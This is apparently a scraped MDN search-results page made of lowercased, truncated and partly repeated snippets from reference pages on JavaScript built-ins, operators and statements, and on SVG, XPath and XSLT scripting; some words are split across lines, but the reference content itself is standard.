... + empty.length); // expected output: "the empty string has a length of 0" assigning to length let mystring = "bluebells"; // attempting to assign a value to a string's .length property has no observable effect. mystring.length = 4; console.log(mystring); // expected output: "bluebells" console.log(mystring.length); // expected output: 9 specifications specification ecmascr
ipt (ecma-262) ...
String.raw() - JavaScript
g` parameters callsite well-formed template call site object, like { raw: ['foo', 'bar', 'baz'] }. ...substitutions contains substitution values. templatestring a template string, optionally with substitutions (${...}). return value the raw string form of a given template string. exceptions typeerror a typeerror is thrown if the first argument is not a well-formed object. descr
iption in most cases, string.raw() is used with template strings. the first syntax mentioned above is only rarely used, because the javascr
ipt engine will call this with proper arguments for you, (just like with other tag functions). string.raw() is the only built-in tag function of template strings. it works just like the default template function and performs concatenation. you can even re-impl...
... examples using string.raw() string.raw`hi\n${2+3}!`; // 'hi\n5!', the character after 'hi' // is not a newline character, // '\' and 'n' are two characters. string.raw`hi\u000a!`; // 'hi\u000a!', same here, this time we will get the // \, u, 0, 0, 0, a, 6 characters. ...
..., 6 characters. // all kinds of escape characters will be ineffective // and backslashes will be present in the output string. // you can confirm this by checking the .length property // of the string. let name = 'bob'; string.raw`hi\n${name}!`; // 'hi\nbob!', substitutions are processed. // normally you would not call string.raw() as a function, // but to simulate `foo${2 + 3}bar${'java' + 'scr
ipt'}baz` you can do: string.raw({ raw: ['foo', 'bar', 'baz'] }, 2 + 3, 'java' + 'scr
ipt'); // 'foo5barjavascr
iptbaz' // notice the first argument is an object with a 'raw' property, // whose value is an iterable representing the separated strings // in the template literal. // the rest of the arguments are the substitutions. // the first argument's 'raw' value can be any iterable, even a string!
... separated strings // in the template literal. // the rest of the arguments are the substitutions. // the first argument's 'raw' value can be any iterable, even a string! // for example, 'test' is treated as ['t', 'e', 's', 't']. // the following is equivalent to // `t${0}e${1}s${2}t`: string.raw({ raw: 'test' }, 0, 1, 2); // 't0e1s2t' specifications specification ecmascr
ipt (ecma-262)the definition of 'string.raw' in that specification. ...
String.prototype.startsWith() - JavaScript
-examples and send us a pull request. syntax str.startswith(searchstring[, position]) parameters searchstring the characters to be searched for at the start of this string. position optional the position in this string at which to begin searching for searchstring. defaults to 0. return value true if the given characters are found at the beginning of the string; otherwise, false. ...
...ring. position optional the position in this string at which to begin searching for searchstring. defaults to 0. return value true if the given characters are found at the beginning of the string; otherwise, false. descr
iption this method lets you determine whether or not a string begins with another string. this method is case-sensitive. polyfill this method has been added to the ecmascr
ipt 2015 specification and may not be available in all javascr
ipt implementations yet. ...
...found at the beginning of the string; otherwise, false. descr
iption this method lets you determine whether or not a string begins with another string. this method is case-sensitive. polyfill this method has been added to the ecmascr
ipt 2015 specification and may not be available in all javascr
ipt implementations yet. ...
...erformant and compact, polyfill is available on github by mathias bynens. examples using startswith() //startswith let str = 'to be, or not to be, that is the question.' console.log(str.startswith('to be')) // true console.log(str.startswith('not to be')) // false console.log(str.startswith('not to be', 10)) // true specifications specification ecmascr
ipt (ecma-262)the definition of 'string.prototype.startswith' in that specification. ...
String.prototype.toLocaleUpperCase() - JavaScript
ute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax str.tolocaleuppercase() str.tolocaleuppercase(locale) str.tolocaleuppercase([locale, locale, ...]) parameters locale optional the locale parameter indicates the locale to be used to convert to upper case according to any locale-specific case mappings. if mult
iple locales are given in an array, the best available locale is used. the default locale is the host environment's current locale. return value a new string representing the calling string converted to upper case, according to any locale-specific case mappings. exceptions a rangeerror ("invalid language tag: xx_yy") is thrown if a locale argument isn't a valid language tag. a typeerror ("in...
...host environment's current locale. return value a new string representing the calling string converted to upper case, according to any locale-specific case mappings. exceptions a rangeerror ("invalid language tag: xx_yy") is thrown if a locale argument isn't a valid language tag. a typeerror ("invalid element in locales argument") is thrown if an array element isn't of type string. descr
iption the tolocaleuppercase() method returns the value of the string converted to upper case according to any locale-specific case mappings. tolocaleuppercase() does not affect the value of the string itself. in most cases, this will produce the same result as touppercase(), but for some locales, such as turkish, whose case mappings do not follow the default case mappings in unicode, there may be ...
... ...
... ...
Symbol - JavaScript
symbol value returned from symbol() is unique. a symbol value may be used as an identifier for object properties; this is the data type's primary purpose, although other use-cases exist, such as enabling opaque data types, or serving as an implementation-supported unique identifier in general. some further explanation about purpose and usage can be found in the glossary entry for symbol. descr
iption to create a new primitive symbol, you write symbol() with an optional string as its descr
iption: let sym1 = symbol() let sym2 = symbol('foo') let sym3 = symbol('foo') the above code creates three new symbols. note that symbol("foo") does not coerce the string "foo" into a symbol. it creates a new symbol each time: symbol('foo') === symbol('foo') // false the following syntax with the ...
...he regular expression. used by string.prototype.search(). symbol.split a method that splits a string at the indices that match a regular expression. used by string.prototype.split(). symbol.species a constructor function that is used to create derived objects. symbol.toprimitive a method converting an object to a primitive value. symbol.tostringtag a string value used for the default descr
iption of an object. used by object.prototype.tostring(). symbol.unscopables an object value of whose own and inherited property names are excluded from the with environment bindings of the associated object. static methods symbol.for(key) searches for existing symbols with the given key and returns it if found. otherwise a new symbol gets created in the global symbol registry with key. sym...
...from the with environment bindings of the associated object. static methods symbol.for(key) searches for existing symbols with the given key and returns it if found. otherwise a new symbol gets created in the global symbol registry with key. symbol.keyfor(sym) retrieves a shared symbol key from the global symbol registry for the given symbol. instance properties symbol.prototype.descr
iption a read-only string containing the descr
iption of the symbol. instance methods symbol.prototype.tosource() returns a string containing the source of the symbol object. overrides the object.prototype.tosource() method. symbol.prototype.tostring() returns a string containing the descr
iption of the symbol. overrides the object.prototype.tostring() method. symbol.prototype.valueof() ret...
... ...
TypedArray.from() - JavaScript
uint8clampedarray int16array uint16array int32array uint32array float32array float64array bigint64array biguint64array parameters source an array-like or iterable object to convert to a typed array. mapfn optional map function to call on every element of the typed array. thisarg optional value to use as this when executing mapfn. return value a new typedarray instance. descr
iption typedarray.from() lets you create typed arrays from: array-like objects (objects with a length property and indexed elements); or iterable objects (objects where you can get its elements, such as map and set). typedarray.from() has the optional parameter mapfn, which allows you to execute a map() function on each element of the typed array (or subclass object) that is being created. th...
...arg using the count, then sets the values on the instance. array.from() sets each value as it receives them from the iterator, then sets its length at the end. when array.from() gets an array-like which isn't an iterator, it respects holes. typedarray.from() will ensure the result is dense. polyfill you can partially work around this by inserting the following code at the beginning of your scr
ipts, allowing use of much of the functionality of from() in implementations that do not natively support it. if (!int8array.__proto__.from) { (function () { int8array.__proto__.from = function (obj, func, thisobj) { var typedarrayclass = int8array.__proto__; if(typeof this !== 'function') { throw new typeerror('# is not a constructor'); ...
... ...
... ...
Uint16Array() constructor - JavaScript
() typed array constructor creates an array of 16-bit unsigned integers in the platform byte order. syntax new uint16array(); // new in es2017 new uint16array(length); new uint16array(typedarray); new uint16array(object); new uint16array(buffer [, byteoffset [, length]]); parameters length when called with a length argument, an internal array buffer is created in memory, of size length mult
iplied by bytes_per_element bytes, containing zeros. typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a new typed array. each value in typedarray is converted to the corresponding type of the constructor before being copied into the new array. the length of the new typed array will be sam...
...ffer, byteoffset, length when called with a buffer, and optionally a byteoffset and a length argument, a new typed array view is created that views the specified arraybuffer. the byteoffset and length parameters specify the memory range that will be exposed by the typed array view. if both are omitted, all of buffer is viewed; if only length is omitted, the remainder of buffer is viewed. ...
...calling a uint16array constructor as a function without new, will throw a typeerror from now on. ...
... ...
WebAssembly.CompileError() constructor - JavaScript
the webassembly.compileerror() constructor creates a new webassembly compileerror object, which indicates an error during webassembly decoding or validation. syntax new webassembly.compileerror(message, filename, linenumber) parameters message optional human-readable descr
iption of the error. filename optional the name of the file containing the code that caused the exception. linenumber optional the line number of the code that caused the exception. ...
...y decoding or validation. syntax new webassembly.compileerror(message, filename, linenumber) parameters message optional human-readable descr
iption of the error. filename optional the name of the file containing the code that caused the exception. linenumber optional the line number of the code that caused the exception. ...
... browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull r...
...og(e.filename); // "somefile" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the code was run } specifications specification webassembly javascr
ipt interfacethe definition of 'webassembly constructors' in that specification. ecmascr
ipt (ecma-262)the definition of 'nativeerror constructor' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome fo...
WebAssembly.LinkError() constructor - JavaScript
the webassembly.linkerror() constructor creates a new webassembly linkerror object, which indicates an error during module instantiation (besides traps from the start function). syntax new webassembly.linkerror(message, filename, linenumber) parameters message optional human-readable descr
iption of the error. filename optional the name of the file containing the code that caused the exception. linenumber optional the line number of the code that caused the exception. ...
...traps from the start function). syntax new webassembly.linkerror(message, filename, linenumber) parameters message optional human-readable descr
iption of the error. filename optional the name of the file containing the code that caused the exception. linenumber optional the line number of the code that caused the exception. ...
... browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. deskt...
...or" console.log(e.filename); // "somefile" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the code was run } specifications specification webassembly javascr
ipt interfacethe definition of 'linkerror' in that specification. ecmascr
ipt (ecma-262)the definition of 'nativeerror constructors' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome f...
WebAssembly.RuntimeError() constructor - JavaScript
the webassembly.runtimeerror() constructor creates a new webassembly runtimeerror object -- the type that is thrown whenever webassembly specifies a trap. syntax new webassembly.runtimeerror(message, filename, linenumber) parameters message optional human-readable descr
iption of the error. filename optional the name of the file containing the code that caused the exception. linenumber optional the line number of the code that caused the exception. ...
...ssembly specifies a trap. syntax new webassembly.runtimeerror(message, filename, linenumber) parameters message optional human-readable descr
iption of the error. filename optional the name of the file containing the code that caused the exception. linenumber optional the line number of the code that caused the exception. ...
... browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send...
...e); // "somefile" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the code was run } specifications specification webassembly javascr
ipt interfacethe definition of 'webassembly.runtimeerror constructor' in that specification. ecmascr
ipt (ecma-262)the definition of 'nativeerror constructor' in that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome fo...
isNaN() - JavaScript
the isnan() function determines whether a value is nan or not. note, coercion inside the isnan function has interesting rules; you may alternatively want to use number.isnan(), as defined in ecmascr
ipt 2015. syntax isnan(value) parameters value the value to be tested. return value true if the given value is nan; otherwise, false. descr
iption the necessity of an isnan function unlike all other possible values in javascr
ipt, it is not possible to rely on the equality operators (== and ===) to determine whether a value is nan or not, because both nan == nan and nan === nan evaluate to false. hence, the necessity of an isnan function. origin of nan values nan values are generated when arithmetic operations result in undefined or unrepresentable values. such values do not necess...
..."false" returned value may be unexpected; the empty string, for example, is surely "not a number." the confusion stems from the fact that the term, "not a number", has a specific meaning for numbers represented as ieee-754 floating-point values. the function should be interpreted as answering the question, "is this value, when coerced to a numeric value, an ieee-754 'not a number' value?" ecmascr
ipt 2015 contains the number.isnan() function. number.isnan(x) is a reliable way to test whether x is nan or not. even with number.isnan, however, the meaning of nan remains the precise numeric meaning and not simply, "not a number". alternatively, in the absence of number.isnan, the expression (x != x) is a more reliable way to test whether variable x is nan or not, as the result is not subject to ...
...e: "blabla" is converted to a number. // parsing this as a number fails and returns nan useful special-case behavior there is a more usage oriented way to think of isnan(): if isnan(x) returns false, you can use x in an arithmetic expression not making the expression return nan. if it returns true, x will make every arithmetic expression return nan. this means that in javascr
ipt, isnan(x) == true is equivalent to x - 0 returning nan (though in javascr
ipt x - 0 == nan always returns false, so you can't test for it). actually, isnan(x), isnan(x - 0), isnan(number(x)), number.isnan(x - 0), and number.isnan(number(x)) always return the same and in javascr
ipt isnan(x) is just the shortest possible form to express each of these terms. you can use this, for example, to test w...
...always return the same and in javascr
ipt isnan(x) is just the shortest possible form to express each of these terms. you can use this, for example, to test whether an argument to a function is arithmetically processable (usable "like" a number), or if it's not and you have to provide a default value or something else. this way you can have a function that makes use of the full versatility javascr
ipt provides by implicitly converting values depending on context. specifications specification ecmascr
ipt (ecma-262)the definition of 'isnan' in that specification. ...
undefined - JavaScript
the global undefined property represents the primitive value undefined. it is one of javascr
ipt's primitive types. property attributes of undefined writable no enumerable no configurable no the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax undefined descr
iption undefined is a property of the global object. that is, it is a variable in global scope. the initial value of undefined is the primitive value undefined. ...
... is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax undefined descr
iption undefined is a property of the global object. that is, it is a variable in global scope. the initial value of undefined is the primitive value undefined. in modern browsers (javascr
ipt 1.8.5 / firefox 4+), undefined is a non-configurable, non-writable property, per the ecmascr
ipt 5 specification. (even when this is not the case, avoid overriding it.) a variable that has not been assigned a value is of type undefined. a method or statement also returns undefined if the variable that is being evaluated does not have an assigned value. a function returns undefined if a value was...
...of x === 'undefined') { // these statements execute } one reason to use typeof is that it does not throw an error if the variable has not been declared. // x has not been declared before if (typeof x === 'undefined') { // evaluates to true without errors // these statements execute } if (x === undefined) { // throws a referenceerror } however, there is another alternative. javascr
ipt is a statically scoped language, so knowing if a variable is declared can be read by seeing whether it is declared in an enclosing context. the global scope is bound to the global object, so checking the existence of a variable in the global context can be done by checking the existence of a property on the global object, using the in operator, for instance: if ('x' in window) { // these st...
... ...
Standard built-in objects - JavaScript
this chapter documents all of javascr
ipt's standard, built-in objects, including their methods and properties. the term "global objects" (or standard built-in objects) here is not to be confused with the global object. here, "global objects" refer to objects in the global scope. the global object itself can be accessed using the this operator in the global scope. in fact, the global scope consists of the properties of the global object, including inherited properties, if any. other objects in the global scope are either created by the user scr
ipt or provided by the host application. the host objects available in browser contexts are documented in the api reference. for more information about the distinction between the dom and core javascr
ipt, see javascr
ipt technologies overview. stan...
...ey include the basic error type, as well as several specialized error types. error aggregateerror evalerror internalerror rangeerror referenceerror syntaxerror typeerror urierror numbers and dates these are the base objects representing numbers, dates, and mathematical calculations. number bigint math date text processing these objects represent strings and support man
ipulating them. string regexp indexed collections these objects represent collections of data which are ordered by an index value. this includes (typed) arrays and array-like constructs. array int8array uint8array uint8clampedarray int16array uint16array int32array uint32array float32array float64array bigint64array biguint64array keyed collections these objects represen...
...uint32array float32array float64array bigint64array biguint64array keyed collections these objects represent collections which use keys. the iterable collections (map and set) contain elements which are easily iterated in the order of insertion. ...
... coded using javascr
ipt object notation (json). arraybuffer sharedarraybuffer atomics dataview json control abstraction objects control abstractions can help to structure code, especially async code (without using deeply nested callbacks, for example). promise generator generatorfunction asyncfunction reflection reflect proxy internationalization additions to the ecmascr
ipt core for language-sensitive functionalities. intl intl.collator intl.datetimeformat intl.listformat intl.numberformat intl.pluralrules intl.relativetimeformat intl.locale webassembly webassembly webassembly.module webassembly.instance webassembly.memory webassembly.table webassembly.compileerror webassembly.linkerror webassembly.runtimeerror other arguments ...
Comma operator (,) - JavaScript
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
... the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...sitory. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax expr1, expr2, expr3... parameters expr1, expr2, expr3... one or more expressions, the last of which is returned as the value of the compound expression. usage notes you can use the comma operator when you want to include mult
iple expressions in a location that requires a single expression. the most common usage of this operator is to supply mult
iple parameters in a for loop. the comma operator is fully different from the comma within arrays, objects, and function arguments and parameters. examples if a is a 2-dimensional array with 10 elements on each side, the following code uses the comma operator to increment i an...
... ...
Exponentiation (**) - JavaScript
ising the first operand to the power of the second operand. it is equivalent to math.pow, except it also accepts bigints as operands. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax operator: var1 ** var2 descr
iption the exponentiation operator is right-associative: a ** b ** c is equal to a ** (b ** c). in most languages, such as php, python, and others that have an exponentiation operator (**), the exponentiation operator is defined to have a higher precedence than unary operators, such as unary + and unary -, but there are a few exceptions. for example, in bash, the ** operator is defined to have a l...
...ative: a ** b ** c is equal to a ** (b ** c). in most languages, such as php, python, and others that have an exponentiation operator (**), the exponentiation operator is defined to have a higher precedence than unary operators, such as unary + and unary -, but there are a few exceptions. for example, in bash, the ** operator is defined to have a lower precedence than unary operators. in javascr
ipt, it is impossible to write an ambiguous exponentiation expression. that is, you cannot put a unary operator (+/-/~/!/delete/void/typeof) immediately before the base number; doing so will cause a syntaxerror. -2 ** 2; // 4 in bash, -4 in other languages. // this is invalid in javascr
ipt, as the operation is ambiguous. -(2 ** 2); // -4 in javascr
ipt and the author's intention is unambiguous. ...
...t a unary operator (+/-/~/!/delete/void/typeof) immediately before the base number; doing so will cause a syntaxerror. -2 ** 2; // 4 in bash, -4 in other languages. // this is invalid in javascr
ipt, as the operation is ambiguous. -(2 ** 2); // -4 in javascr
ipt and the author's intention is unambiguous. note that some programming languages use the caret symbol ^ for exponentiation, but javascr
ipt uses that symbol for the bitwise logical xor operator. examples basic exponentiation 2 ** 3 // 8 3 ** 2 // 9 3 ** 2.5 // 15.588457268119896 10 ** -1 // 0.1 nan ** 2 // nan associativity 2 ** 3 ** 2 // 512 2 ** (3 ** 2) // 512 (2 ** 3) ** 2 // 64 usage with unary operators to invert the sign of the result of an exponentiation expression: -(2 ** 2) // -4 to force the base of an ex...
... ...
Spread syntax (...) - JavaScript
expected. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax for function calls: myfunction(...iterableobj); for array literals or strings: [...iterableobj, '4', 'five', 6]; for object literals (new in ecmascr
ipt 2018): let objclone = { ...obj }; rest syntax (parameters) rest syntax looks exactly like spread syntax. in a way, rest syntax is the opposite of spread syntax. spread syntax "expands" an array into its elements, while rest syntax collects mult
iple elements and "condenses" them into a single element. see rest parameters. examples spread in function calls replace apply() it is common to us...
...y() in cases where you want to use the elements of an array as arguments to a function. function myfunction(x, y, z) { } const args = [0, 1, 2]; myfunction.apply(null, args); with spread syntax the above can be written as: function myfunction(x, y, z) { } const args = [0, 1, 2]; myfunction(...args); any argument in the argument list can use spread syntax, and the spread syntax can be used mult
iple times. function myfunction(v, w, x, y, z) { } const args = [0, 1]; myfunction(-1, ...args, 2, ...[3]); apply for new operator when calling a constructor with new it's not possible to directly use an array and apply() (apply() does a [[call]] and not a [[construct]]). however, an array can be easily used with new thanks to spread syntax: const datefields = [1970, 0, 1]; // 1 jan 1970 const ...
... arr1 array.prototype.unshift.apply(arr1, arr2) // arr1 is now [3, 4, 5, 0, 1, 2] with spread syntax, this becomes: let arr1 = [0, 1, 2]; let arr2 = [3, 4, 5]; arr1 = [...arr2, ...arr1]; // arr1 is now [3, 4, 5, 0, 1, 2] note: unlike unshift(), this creates a new arr1, and does not modify the original arr1 array in-place. spread in object literals the rest/spread properties for ecmascr
ipt proposal (es2018) added spread properties to object literals. it copies own enumerable properties from a provided object onto a new object. shallow-cloning (excluding prototype) or merging of objects is now possible using a shorter syntax than object.assign(). const obj1 = { foo: 'bar', x: 42 }; const obj2 = { foo: 'baz', y: 13 }; const clonedobj = { ...obj1 }; // object { foo: "bar", x: 42 }...
...perator, it is assumed another iterating function is used when the merging occurs. spread syntax (other than in the case of spread properties) can be applied only to iterable objects: const obj = {'key1': 'value1'}; const array = [...obj]; // typeerror: obj is not iterable spread with many values when using spread syntax for function calls, be aware of the possibility of exceeding the javascr
ipt engine's argument length limit. see apply() for more details. specifications specification ecmascr
ipt (ecma-262)the definition of 'array initializer' in that specification. ecmascr
ipt (ecma-262)the definition of 'object initializer' in that specification. ...
for - JavaScript
same scope the for loop is in. variables declared with let are local to the statement. the result of this expression is discarded. condition an expression to be evaluated before each loop iteration. if this expression evaluates to true, statement is executed. this conditional test is optional. if omitted, the condition always evaluates to true. ...
...}) to group those statements. to execute no statement within the loop, use an empty statement (;). examples using for the following for statement starts by declaring the variable i and initializing it to 0. ...
... ...
...' + ntop + 'px;'); } /* example call: */ showoffsetpos('content'); // output: // "offset position of "content" element: // left: 0px; // top: 153px;" note: this is one of the few cases in javascr
ipt where the semicolon is mandatory. indeed, without the semicolon the line that follows the cycle declaration will be considered a statement. specifications specification ecmascr
ipt (ecma-262)the definition of 'for statement' in that specification. ...
if...else - JavaScript
the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax if (condition) statement1 [else statement2] condition an expression that is considered to be either truthy or falsy. statement1 statement that is executed if condition is truthy. can be any statement, including further nested if statements. to execute mult
iple statements, use a block statement ({ ... }) to group those statements. to execute no statements, use an empty statement. statement2 statement that is executed if condition is falsy and the else clause exists. can be any statement, including block statements and further nested if statements. descr
iption mult
iple if...else statements can be nested to create an else if clause. note that there...
... to group those statements. to execute no statements, use an empty statement. statement2 statement that is executed if condition is falsy and the else clause exists. can be any statement, including block statements and further nested if statements. descr
iption mult
iple if...else statements can be nested to create an else if clause. note that there is no elseif (in one word) keyword in javascr
ipt. if (condition1) statement1 else if (condition2) statement2 else if (condition3) statement3 ... else statementn to see how this works, this is how it would look if the nesting were properly indented: if (condition1) statement1 else if (condition2) statement2 else if (condition3) ... to execute mult
iple statements within a clause, use a block statement ({ ... }) to gro...
...rimitive boolean values true and false with truthiness or falsiness of the boolean object. any value that is not false, undefined, null, 0, -0, nan, or the empty string (""), and any object, including a boolean object whose value is false, is considered truthy when used as the condition. for example: var b = new boolean(false); if (b) // this condition is truthy examples using if...else if (c
ipher_char === from_char) { result = result + to_char; x++; } else { result = result + clear_char; } using else if note that there is no elseif syntax in javascr
ipt. however, you can write it with a space between else and if: if (x > 50) { /* do something */ } else if (x > 5) { /* do something */ } else { /* do something */ } assignment within the conditional expression it is advis...
...signment can be confused with equality when glancing over the code. for example, do not use the following code: if (x = y) { /* do something */ } if you need to use an assignment in a conditional expression, a common practice is to put additional parentheses around the assignment. for example: if ((x = y)) { /* do something */ } specifications specification ecmascr
ipt (ecma-262)the definition of 'if statement' in that specification. ...
import.meta - JavaScript
the import.meta object exposes context-specific metadata to a javascr
ipt module. it contains information about the module, like the module's url. syntax import.meta descr
iption the syntax consists of the keyword import, a dot, and the identifier meta. normally the left-hand side of the dot is the object on which property access is performed, but here import is not really an object. the import.meta object is created by the ecmascr
ipt implementation, with a null prototype. the object is extensible, and its properties are writable, configurable, and enumerable. examples using import.meta given a module my-module.js <scr
ipt type="module" src="my-module.js"></scr
ipt> you can access meta information about the module using the import.meta object. console.log(import.meta); // { url: "fi...
...or #). ...
...or #). ...
...s"></scr
ipt> you can access meta information about the module using the import.meta object. console.log(import.meta); // { url: "file:///home/user/my-module.js" } it returns an object with a url property indicating the base url of the module. this will either be the url from which the scr
ipt was obtained, for external scr
ipts, or the document base url of the containing document, for inline scr
ipts. note that this will include query parameters and/or hash (i.e., following the ? or #). for example, with the following html: <scr
ipt type="module"> import './index.mjs?someurlinfo=5'; </scr
ipt> ..the following javascr
ipt file will log the `someurlinfo parameter: // index.mjs new url(import.meta.url).searchparams.get('someurlinfo'); // 5 the same applies when a file imports another: // i...
clip - SVG: Scalable Vector Graphics
the cl
ip attribute is a presentation attribute defining the visible region of an element. this attribute has the same parameter values as defined for the css cl
ip property. unitless values, which indicate current user coordinates, are permitted on the coordinate values on the rect(). the value of auto defines a cl
ipping path along the bounds of the viewport created by the given element. ...
...t(). the value of auto defines a cl
ipping path along the bounds of the viewport created by the given element. as a presentation attribute, it can be applied to any element but it has effect only on the following six elements: <svg>, <symbol>, <image>, <foreignobject>, <pattern>, <marker> html,body,svg { height:100% } <svg viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- auto cl
ipping --> <svg x="0" width="10" height="10" cl
ip="auto"> <circle cx="5" cy="5" r="4" stroke="green" /> </svg> <!-- rect(top, right, bottom, left) cl
ipping --> <svg x="10" width="10" height="10" cl
ip="rect(1, 9, 8, 2)"> <circle cx="5" cy="5" r="4" stroke="green" /> </svg> </svg> usage notes warning: this property is deprecated. use cl
ip-path instead. v...
... </svg> <!-- rect(top, right, bottom, left) cl
ipping --> <svg x="10" width="10" height="10" cl
ip="rect(1, 9, 8, 2)"> <circle cx="5" cy="5" r="4" stroke="green" /> </svg> </svg> usage notes warning: this property is deprecated. use cl
ip-path instead. value auto | rect() default value auto animatable yes the value auto defines a cl
ipping path along the bounds of the viewport created by the given element.the value rect() defines a cl
ipping rectangle following the following syntax: rect(<top>, <right>, <bottom>, <left>). the <top> and <bottom> values specify offsets from the top border edge of the element viewport, while <right> and <left> specify offsets from the left border edge of the element viewport. specifications ...
...cl
ipping rectangle following the following syntax: rect(<top>, <right>, <bottom>, <left>). the <top> and <bottom> values specify offsets from the top border edge of the element viewport, while <right> and <left> specify offsets from the left border edge of the element viewport. specifications specification status comment css masking module level 1the definition of 'cl
ip' in that specification. candidate recommendation deprecates cl
ip property, suggests cl
ip-path as replacement. scalable vector graphics (svg) 1.1 (second edition)the definition of 'cl
ip' in that specification. recommendation initial definition ...
Scripting - SVG: Scalable Vector Graphics
this is not the case for mozilla's native svg implementation; therefore, using window.svgdocument does not work in mozilla. instead, you can use var svgdoc=document.embeds["name_of_svg"].getsvgdocument(); to get a referen...
...ll if the element doesn't represent an svg document. you can also use document.getelementbyid("svg_elem_name").getsvgdocument(), which gives the same result. you may find documentation referring to an svgdocument interface. prior to svg 2, svg documents were represented using that interface. however, svg documents are now represented using the xmldocument interface instead. inter-document scr
ipting: calling javascr
ipt functions when calling a javascr
ipt function that resides in the html file from an svg file that is embedded in an html document, you should use parent.functionname() to reference the function. although the adobe svg viewer plugin allows the use of functionname(), it's not the preferred way to do things. according to the svg wiki the "parent" js variable is broken in ad...
...s the use of functionname(), it's not the preferred way to do things. according to the svg wiki the "parent" js variable is broken in adobe's svg version 6 preview plugin. the suggested workaround is to use "top" instead of "parent". since it is a beta version of their plugin, we can probably safely ignore this. more information and some examples can be found on the svg wiki inter-document scr
ipting page. setproperty has three parameters the function svgelement.style.setproperty("fill-opacity", "0.0") throws a domexception - syntax err in mozilla. this behaviour is specified by the w3c in the dom level 2 style specification. the function setproperty is defined as a function with three parameters. the above can be replaced with 'svgelement.style.setproperty("fill-opacity", "0.0", "")', ...
...ction svgelement.style.setproperty("fill-opacity", "0.0") throws a domexception - syntax err in mozilla. this behaviour is specified by the w3c in the dom level 2 style specification. the function setproperty is defined as a function with three parameters. the above can be replaced with 'svgelement.style.setproperty("fill-opacity", "0.0", "")', which is standards compliant. links svg wiki on scr
ipting and programming ...
XPath snippets - XPath
node-specific evaluator function the following custom utility function can be used to evaluate xpath expressions on given xml nodes. the first argument is a dom node or document object, while the second is a string defining an xpath expression. ...
... null ? anode.documentelement : anode.ownerdocument.documentelement); var result = xpe.evaluate(aexpr, anode, nsresolver, 0, null); var found = []; var res; while (res = result.iteratenext()) found.push(res); return found; } this function uses the new xpathevaluator() constructor, which is supported in firefox, chrome, opera and safari, but not in edge or internet explorer. ...
...ty="denver" state="co" country="usa"/> </person> </people> you can now "query" the document with xpath expressions. although walking the dom tree can achieve similar results, using xpath expressions is much quicker and more powerful. if you can rely on id attributes, document.getelementbyid() is still powerful, but it's not nearly as powerful as xpath. here are some examples. ...
...ri()='"+(el.namespaceuri===null?'':el.namespaceuri)+"']["+pos+']'+'/'+xpath; el = el.parentnode; } xpath = '/*'+"[name()='"+xml.documentelement.nodename+"' and namespace-uri()='"+(el.namespaceuri===null?'':el.namespaceuri)+"']"+'/'+xpath; xpath = xpath.replace(/\/$/, ''); return xpath; } resources xpath forum discussion on this topic see also introduction to using xpath in javascr
ipt ...
Using the Mozilla JavaScript interface to XSL Transformations - XSLT: Extensible Stylesheet Language Transformations
creating an xsltprocessor to start, you need to create an xsltprocessor object: var processor = new xsltprocessor(); specifying the stylesheet before you can use it, you must import a stylesheet with the xsltprocessor.importstylesheet() method. it has a single parameter, which is the dom node of the xslt stylesheet to import. note: the import is live, meaning that if you alter the stylesheet dom after importing it, this will be reflected in the processing. rather than modifying the dom it is recommended to use stylesheet parameters which are usually easier and can give better performance. ...
...rt. note: the import is live, meaning that if you alter the stylesheet dom after importing it, this will be reflected in the processing. rather than modifying the dom it is recommended to use stylesheet parameters which are usually easier and can give better performance. var testtransform = document.implementation.createdocument("", "test", null); // just an example to get a transform into a scr
ipt as a dom // xmldocument.load is asynchronous, so all processing happens in the // onload handler testtransform.addeventlistener("load", onload, false); testtransform.load("test-transform.xml"); function onload() { processor.importstylesheet(testtransform); } xsltprocessor.importstylesheet() requires one argument, a dom node. if that node is a document node, you can pass in a full xsl transfo...
...should work as expected though. setting parameters you can control parameters for the stylesheet using the xsltprocessor.setparameter(), xsltprocessor.getparameter(), and xsltprocessor.removeparameter() methods. these all take a namespace uri and a local name as the first two parameters, with xsltprocessor.setparameter() taking a third - the value of the parameter to be set. see the xslt/javascr
